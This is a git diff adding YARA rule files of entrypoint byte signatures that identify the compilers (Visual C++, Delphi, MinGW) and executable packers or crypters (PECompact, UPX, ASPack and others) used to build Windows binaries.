+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0"
+	strings:
+		$0 = {68}
+	condition:
+		$0 at entrypoint
+}
+rule _FASM_v13x_
+{
+	meta:
+		description = "FASM v1.3x"
+	strings:
+		$0 = {E8 ?? 6E ?? ?? 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10}
+	condition:
+		$0 at entrypoint
+}
+rule _LCC_Win32_DLL_
+{
+	meta:
+		description = "LCC Win32 DLL"
+	strings:
+		$0 = {8B 44 24 08 56 83 E8 74 48}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v60_KOL_
+{
+	meta:
+		description = "Borland Delphi v6.0 KOL"
+	strings:
+		$0 = {55 8B EC 83 C4 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _LCC_Win32_v1x_
+{
+	meta:
+		description = "LCC Win32 v1.x"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 FF 75 10 FF 75 0C FF 75 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_SPx_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 SPx"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 6A 01 8B F0 FF}
+		$1 = {55 8B EC 6A FF 68 68 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 53 56}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 DLL"
+	strings:
+		$0 = {83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? 10 E8 8B FF FF}
+		$1 = {55 8B EC 83 EC 50 53 56 57 BE 8D 7D F4 A5 A5 66 A5}
+		$2 = {55 8B EC 53 8B 5D 08 56 8B 75}
+		$3 = {0D ??}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Free_Pascal_v09910_
+{
+	meta:
+		description = "Free Pascal v0.99.10"
+	strings:
+		$0 = {64 A1 55 89 E5 6A FF 68 68 9A 10 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_vxx_Component_
+{
+	meta:
+		description = "Borland Delphi vx.x (Component)"
+	strings:
+		$0 = {55 8B EC 83 C4 B4 B8 E8 E8 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v50v60_MFC_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0/v6.0 (MFC)"
+	strings:
+		$0 = {55 8B EC ??}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C_v70__Basic_NET_
+{
+	meta:
+		description = "Microsoft Visual C# v7.0 / Basic .NET"
+	strings:
+		$0 = {53 55 56 8B 74 24 14 85 F6 57 B8}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_DLL_v2xx_
+{
+	meta:
+		description = "MinGW GCC DLL v2xx"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 ?? ?? 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D ?? 30 ?? 10 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v60__v70_
+{
+	meta:
+		description = "Borland Delphi v6.0 - v7.0"
+	strings:
+		$0 = {E8 6A E8 89 05 E8 89 05 C7 05 0A B8}
+		$1 = {53 8B D8 33 C0 A3 ?? 6A ?? E8 ?? FF A3 ?? A1 ?? A3 ?? 33 C0 A3 ?? 33 C0 A3 ??}
+		$2 = {55 8B EC B9 6A ?? 6A ??}
+		$3 = {55 8B EC 83 C4 F0 B8 E8 FB FF A1 8B E8 FF FF 8B 0D A1 8B ?? 8B 15 E8 FF FF A1 8B E8 FF}
+		$4 = {55 8B EC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _Borland_Delphi_Component_
+{
+	meta:
+		description = "Borland Delphi (Component)"
+	strings:
+		$0 = {55 89 E5 83 EC 04 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v20_
+{
+	meta:
+		description = "Borland Delphi v2.0"
+	strings:
+		$0 = {50 6A E8 FF FF BA 52 89 05 89 42 04 E8 5A 58 E8 C3 55 8B EC 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Pascal_v70_for_Windows_
+{
+	meta:
+		description = "Borland Pascal v7.0 for Windows"
+	strings:
+		$0 = {A1 C1 A3 83 75 57 51 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v40__v50_
+{
+	meta:
+		description = "Borland Delphi v4.0 - v5.0"
+	strings:
+		$0 = {55 8B EC 83}
+		$1 = {50 6A ?? E8 FF FF BA 52 89 05 89 42 04 C7 42 08 ?? ?? ?? ?? C7 42 0C ?? ?? ?? ?? E8 5A 58 E8}
+		$2 = {BA 83 7D 0C 01 75 50 52 C6 05 8B 4D 08 89 0D 89 4A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_Delphi_v30_
+{
+	meta:
+		description = "Borland Delphi v3.0"
+	strings:
+		$0 = {55 8B EC 83}
+		$1 = {50 6A E8 FF FF BA 52 89 05 89 42 04 C7 42 08 C7 42 0C E8 5A 58 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MinGW_v32x_WinMain_
+{
+	meta:
+		description = "MinGW v3.2.x (WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A ?? 6A ?? 6A ?? 6A ?? E8 0D ?? ?? ?? B8 ?? ?? ?? ?? C9 C3 90 90 90 90 90 90 FF 25 38 20 ?? 10 90 90 ?? ?? ?? ?? ?? ?? ?? ?? FF FF FF FF ?? ?? ?? ?? FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_Setup_Module_
+{
+	meta:
+		description = "Borland Delphi Setup Module"
+	strings:
+		$0 = {55 8B EC 83 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v60_DLL_
+{
+	meta:
+		description = "Microsoft Visual Basic v6.0 DLL"
+	strings:
+		$0 = {55 89 E5 E8 C9 C3 45 58}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_
+{
+	meta:
+		description = "WATCOM C/C++"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x_Dll_WinMain_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 ?? ?? ?? FF 15 E4 40 40 ?? E8 68 ?? ?? ?? 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 ?? ?? ?? FF 15 E4 40 40 ?? E8 48 ?? ?? ?? 89 EC 31 C0 5D C3 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v50_KOL_
+{
+	meta:
+		description = "Borland Delphi v5.0 KOL"
+	strings:
+		$0 = {53 8B D8 33 C0 A3 6A ?? E8 FF A3 A1 A3 33 C0 A3 33 C0 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ DLL"
+	strings:
+		$0 = {53 56 57 BB 01 8B 24}
+		$1 = {53 B8 01 ?? ?? ?? 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D 75 09 33}
+		$2 = {55 8B EC 56 57 BF 01 ?? ?? ?? 8B 75}
+		$3 = {55 8B EC 6A FF 68 68 64 A1 ?? ?? ?? ?? 50 64 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Microsoft_Visual_C_v20_
+{
+	meta:
+		description = "Microsoft Visual C v2.0"
+	strings:
+		$0 = {55 8B EC 56 57 BF 8B 3B F7}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v42_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.2 DLL"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 53 56}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x_Dll_main_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_main)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 ?? ?? 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D ?? 30 ?? 10 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0"
+	strings:
+		$0 = {6A 68}
+		$1 = {55 8D 6C 81 EC 8B 45 83 F8 01 56 0F 84 85 C0 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881995_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1995"
+	strings:
+		$0 = {FB 83 89 E3 89 89 66 66 BB 29 C0 B4 30 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v50_KOLMCK_
+{
+	meta:
+		description = "Borland Delphi v5.0 KOL/MCK"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 40 ?? E8 FF FF E8 FF FF E8 FF FF 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_vxx_
+{
+	meta:
+		description = "Microsoft Visual C++ vx.x"
+	strings:
+		$0 = {53 55 56 8B 85 F6 57 B8 75 8B 85 C9 75 33 C0 5F 5E 5D 5B}
+		$1 = {64 A1 ?? ?? ?? ?? 55 8B EC 6A FF 68 68 50 64 89 25 ?? ?? ?? ?? 83 EC 53 56}
+		$2 = {55 8B EC 83 EC 44 56 FF 15 8B F0 8A 3C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Stranik_13_ModulaCPascal_
+{
+	meta:
+		description = "Stranik 1.3 Modula/C/Pascal"
+	strings:
+		$0 = {E9 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_for_Win32_1994_
+{
+	meta:
+		description = "Borland C++ for Win32 1994"
+	strings:
+		$0 = {A1 C1 A3 57 51 33 C0 BF B9 3B CF}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_DLL_
+{
+	meta:
+		description = "Borland Delphi DLL"
+	strings:
+		$0 = {55 8B EC 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_Debug_Version_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 (Debug Version)"
+	strings:
+		$0 = {6A 68 E8 BF 8B C7 E8 89 65 8B F4 89 3E 56 FF 15 8B 4E 89 0D 8B 46}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v4x_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.x"
+	strings:
+		$0 = {64 A1 ?? ?? ?? ?? 55 8B EC 6A FF 68 68 50 64 83 53 56 57 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v50_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0"
+	strings:
+		$0 = {24 ?? 8B 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v50_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0 DLL"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 64 A1 ?? ?? ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x_Dll_mainCRTStartup_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_mainCRTStartup)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 6A ?? 6A ?? 6A ?? 6A ?? E8 0D ?? ?? ?? B8 ?? ?? ?? ?? C9 C3 90 90 90 90 90 90 FF 25 38 20 40 ?? 90 90 ?? ?? ?? ?? ?? ?? ?? ?? FF FF FF FF ?? ?? ?? ?? FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10}
+		$1 = {FF 25 ??}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Cpp_
+{
+	meta:
+		description = "Borland C++"
+	strings:
+		$0 = {A1 C1 E0 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0"
+	strings:
+		$0 = {51}
+		$1 = {55 8D 6C 81 EC 8B 45 83 F8 01 56 0F 84 85 C0 0F}
+		$2 = {55 8B EC 51}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_Cpp_for_Win32_1999_
+{
+	meta:
+		description = "Borland C++ for Win32 1999"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B}
+		$1 = {A1 C1 E0 02 A3 57 51 33 C0 BF B9 3B CF 76 05 2B CF FC F3 AA 59}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MinGW_GCC_v2x_
+{
+	meta:
+		description = "MinGW GCC v2.x"
+	strings:
+		$0 = {55 89 E5 FF}
+		$1 = {55 89 E5 E8 C9 C3 45 58}
+		$2 = {55 89}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MinGW_v32x_main_
+{
+	meta:
+		description = "MinGW v3.2.x (main)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 ?? ?? ?? FF 15 FC 40 40 ?? E8 68 ?? ?? ?? 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 ?? ?? ?? FF 15 FC 40 40 ?? E8 48 ?? ?? ?? 89 EC 31 C0 5D C3 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_
+{
+	meta:
+		description = "Borland Delphi"
+	strings:
+		$0 = {C3 E9 FF 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50__v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0 / v6.0"
+	strings:
+		$0 = {5A 68 68 52 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_DLL_
+{
+	meta:
+		description = "Borland C++ DLL"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3}
+		$2 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3}
+		$3 = {C3 E9 FF 8D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
diff --git a/yara-mikesxrs/unknown/eppackersigs.yara b/yara-mikesxrs/unknown/eppackersigs.yara
new file mode 100644
index 0000000..7e121d1
--- /dev/null
+++ b/yara-mikesxrs/unknown/eppackersigs.yara
@@ -0,0 +1,3205 @@
+rule _PE_Spin_v0b_
+{
+	meta:
+		description = "PE Spin v0.b"
+	strings:
+		$0 = {66 9C 60 E8 CA 03 04 05 06 07}
+	condition:
+		$0 at entrypoint
+}
+rule _LaunchAnywhere_v4001_
+{
+	meta:
+		description = "LaunchAnywhere v4.0.0.1"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 10 ?? 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D EB 0A 3C}
+	condition:
+		$0 at entrypoint
+}
+rule _XPEOR_v099b_
+{
+	meta:
+		description = "X-PEOR v0.99b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED E7 1A 40 ?? E8 A1 ?? ?? ?? E8 D1 ?? ?? ?? E8 85 01 ?? ?? F7}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09781_
+{
+	meta:
+		description = "PECompact v0.978.1"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 87 DD 8B 85 56}
+	condition:
+		$0 at entrypoint
+}
+rule _Alloy_v1x2000_
+{
+	meta:
+		description = "Alloy v1.x.2000"
+	strings:
+		$0 = {52 31 C0 E8 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v134__v140b1_
+{
+	meta:
+		description = "PECompact v1.34 - v1.40b1"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 87 DD 8B 85 A6 A0 40 01 85 03 A0 40 66 C7 85 A0 40 90 90 01 85 9E A0 40}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v0164_
+{
+	meta:
+		description = "CodeCrypt v0.164"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v03_
+{
+	meta:
+		description = "Krypton v0.3"
+	strings:
+		$0 = {54 E8 5D 8B C5 81 ED 61 34 2B 85 60 37 83 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v14xp_
+{
+	meta:
+		description = "PECompact v1.4x+"
+	strings:
+		$0 = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v167_
+{
+	meta:
+		description = "PECompact v1.67"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v17_
+{
+	meta:
+		description = "Exe Shield v1.7"
+	strings:
+		$0 = {EB 06 68 F4 86 06 ?? C3 9C 60 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v060__v061_
+{
+	meta:
+		description = "UPX v0.60 - v0.61"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 58 83 E8 3D 50 8D B8 FF 57 66 81 87 8D B0 F0 01 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_9_
+{
+	meta:
+		description = "kryptor 9"
+	strings:
+		$0 = {8B 0C 24 E9 0A 7C 01 AD 42 40 BD BE 9D 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0977_
+{
+	meta:
+		description = "PECompact v0.977"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 87 DD 8B 85 A9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v131_
+{
+	meta:
+		description = "FSG v1.31"
+	strings:
+		$0 = {BE A4 01 40 ?? AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v08_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v0.8"
+	strings:
+		$0 = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v10_
+{
+	meta:
+		description = "y0da's Crypter v1.0"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 8A 1C 40 ?? B9 9E ?? ?? ?? 8D BD 4C 23 40 ?? 8B F7}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v155_
+{
+	meta:
+		description = "PECompact v1.55"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 87 DD 8B 85 A2 90 40 01 85 03 90 40 66 C7 85 90 40 90 90 01 85 9E 90 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v100_
+{
+	meta:
+		description = "PECompact v1.00"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 87 DD 8B 85 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftSentry_v30_
+{
+	meta:
+		description = "SoftSentry v3.0"
+	strings:
+		$0 = {52 53 51 56 57 55 E8 5D 81 ED 36 E8 01 60 BA E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v2x_
+{
+	meta:
+		description = "PECompact v2.x"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99 33 40 ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098b2_
+{
+	meta:
+		description = "tElock v0.98b2"
+	strings:
+		$0 = {E9 FF FF ?? ?? ?? ?? ?? ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b7_
+{
+	meta:
+		description = "PECompact v1.10b7"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 87 DD 8B 85 9A 70}
+	condition:
+		$0 at entrypoint
+}
+rule _BopCrypt_v10_
+{
+	meta:
+		description = "BopCrypt v1.0"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 56 BE 04 01 8D 85 F8 FE FF FF 56 50 6A FF 15 54 10 40 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74}
+	condition:
+		$0 at entrypoint
+}
+rule _APatch_GUI_v11_
+{
+	meta:
+		description = "APatch GUI v1.1"
+	strings:
+		$0 = {60 E8 5D 81 ED 92 1A 44 B8 8C 1A 44 03 C5 2B 85 CD 1D 44 89 85 D9 1D 44 80 BD C4 1D}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_v198_
+{
+	meta:
+		description = "Nullsoft Install System v1.98"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 FF 15 70 40 ?? 8B 35 92 40 ?? 05 E8 03 ?? ?? 89 44 24 14 B3 20 FF 15 2C 70 40 ?? BF ?? 04 ?? ?? 68 ?? 57 FF 15 40 ?? 57 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPack32_v100_v111_v112_v120_
+{
+	meta:
+		description = "WWPack32 v1.00, v1.11, v1.12, v1.20"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PEtite_v12_
+{
+	meta:
+		description = "PEtite v1.2"
+	strings:
+		$0 = {66 9C 60 50 8D 88 F0 8D 90 04 16 8B DC 8B E1 68 53 50 80 04 24 08 50 80 04 24}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b1_
+{
+	meta:
+		description = "PECompact v1.10b1"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 87 DD 8B 85 94}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10801_
+{
+	meta:
+		description = "ASPack v1.08.01"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 44 BB 10 44 03 DD 2B}
+		$1 = {90 90 75 90}
+		$2 = {90 75 90}
+		$3 = {60 EB 5D EB FF}
+		$4 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 44 ?? BB 10 44 ?? 03 DD 2B}
+		$5 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 ?? BB 10 44 ?? 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint
+}
+rule _PECompact_v160__v165_
+{
+	meta:
+		description = "PECompact v1.60 - v1.65"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 02 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40}
+	condition:
+		$0 at entrypoint
+}
+rule _BJFnt_v12_RC_
+{
+	meta:
+		description = ".BJFnt v1.2 RC"
+	strings:
+		$0 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_v105_
+{
+	meta:
+		description = "Xtreme-Protector v1.05"
+	strings:
+		$0 = {B8 ?? B9 75 ?? 50 51 E8 05 ?? ?? ?? E9 4A 01 ?? ?? 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 ?? ?? ?? 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46}
+	condition:
+		$0 at entrypoint
+}
+rule _PENightMare_v13_
+{
+	meta:
+		description = "PENightMare v1.3"
+	strings:
+		$0 = {60 E9 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v10_
+{
+	meta:
+		description = "PEncrypt v1.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 81 ED 05 10 40 ?? 8D B5 24 10 40 ?? 8B FE B9 0F ?? ?? ?? BB AD 33 C3 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _Symantec_Visual_Cafe_v30_
+{
+	meta:
+		description = "Symantec Visual Cafe v3.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 8B C5 2D ?? 50 81 ED 05 ?? ?? ?? 8B C5 2B 85 03 0F ?? ?? 89 85 03 0F ?? ?? 8B F0 03 B5 0B 0F ?? ?? 8B F8 03 BD 07 0F ?? ?? 83 7F 0C ?? 74 2B 56 57 8B 7F 10 03 F8}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v101b_
+{
+	meta:
+		description = "ASPack v1.01b"
+	strings:
+		$0 = {60 E8 5D 81 ED 3E D9 43 B8 38 03 C5 2B 85 0B DE 43 89 85 17 DE 43 80 BD 01 DE 43 75 15 FE 85 01 DE 43 E8 1D E8 79 02 E8 12 03 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypWrap_vxx_
+{
+	meta:
+		description = "CrypWrap vx.x"
+	strings:
+		$0 = {6A 04 68 ?? 10 ?? ?? FF 35 9C 14 40 ?? 6A ?? FF 15 38 10 40 ?? A3 FC 10 40 ?? 97 BE ?? 20 40 ?? E8 71 ?? ?? ?? 3B 05 9C 14 40 ?? 75 61 6A ?? 6A 20 6A 02 6A ?? 6A 03 68 ?? ?? ?? C0 68 94 10}
+	condition:
+		$0 at entrypoint
+}
+rule _RatPacker_Glue_stub_
+{
+	meta:
+		description = "RatPacker (Glue) stub"
+	strings:
+		$0 = {83 3D 55 8B EC 56 57 75 65 68 ?? 01 E8 E6 FF FF 83 C4 04 8B 75 08 A3 85 F6 74 1D 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v32_
+{
+	meta:
+		description = "Shrinker v3.2"
+	strings:
+		$0 = {83 3D ?? ?? 55 8B EC 56 57 75 65 68 ?? 01 ?? ??}
+	condition:
+		$0 at entrypoint
+}
+rule _XCR_v013_
+{
+	meta:
+		description = "XCR v0.13"
+	strings:
+		$0 = {E8 5D 8B CD 81 ED 7A 29 40 89 AD 0F 6D}
+	condition:
+		$0 at entrypoint
+}
+rule _Guardant_Stealth_aka_Novex_Dongle_
+{
+	meta:
+		description = "Guardant Stealth aka Novex Dongle"
+	strings:
+		$0 = {50 53 51 52 57 56 8B 75 1C 8B 3E 8B 5D 08 8A FB 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v104b_
+{
+	meta:
+		description = "ASPack v1.04b"
+	strings:
+		$0 = {75 ??}
+	condition:
+		$0 at entrypoint
+}
+rule _Feokt_
+{
+	meta:
+		description = "Feokt"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? BE ?? ?? ?? 03 F5 BA ?? ?? 2B D5 8B DD 33 C0 AC 3C ?? 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F}
+	condition:
+		$0 at entrypoint
